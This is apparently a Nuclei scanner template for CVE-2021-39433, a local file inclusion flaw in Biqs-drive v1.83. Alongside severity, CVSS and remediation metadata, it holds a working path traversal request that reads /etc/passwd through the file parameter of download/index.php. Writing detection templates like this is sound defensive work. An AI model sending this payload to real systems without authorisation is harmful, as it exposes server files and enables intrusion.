id: CVE-2021-39433

info:
  name: BIQS IT Biqs-drive v1.83 Local File Inclusion
  author: Veshraj
  severity: high
  description: A local file inclusion vulnerability exists in version BIQS IT Biqs-drive v1.83 and below when sending a specific payload as the file parameter to download/index.php. This allows the attacker to read arbitrary files from the server with the permissions of the configured web-user.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of BIQS IT Biqs-drive (v1.84 or higher) which includes a fix for the Local File Inclusion vulnerability.
  reference:
    - https://github.com/PinkDraconian/CVE-2021-39433/blob/main/README.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39433
    - https://biqs-drive.be/
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39433
    epss-score: 0.08687
    epss-percentile: 0.94588
    cpe: cpe:2.3:a:biqs:biqsdrive:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: biqs
    product: biqsdrive
  tags: cve2021,cve,lfi,biqsdrive,biqs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download/index.php?file=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210099f7700500d9dfb397492513d379e8c5c6b03aea49ac90435318f12d3fb2cc67022040bc773f41d1f5b96a208d55e5d73284054c663c91cb03bb70900443d8e444f7:922c64590222798bb761d5b6d8e72950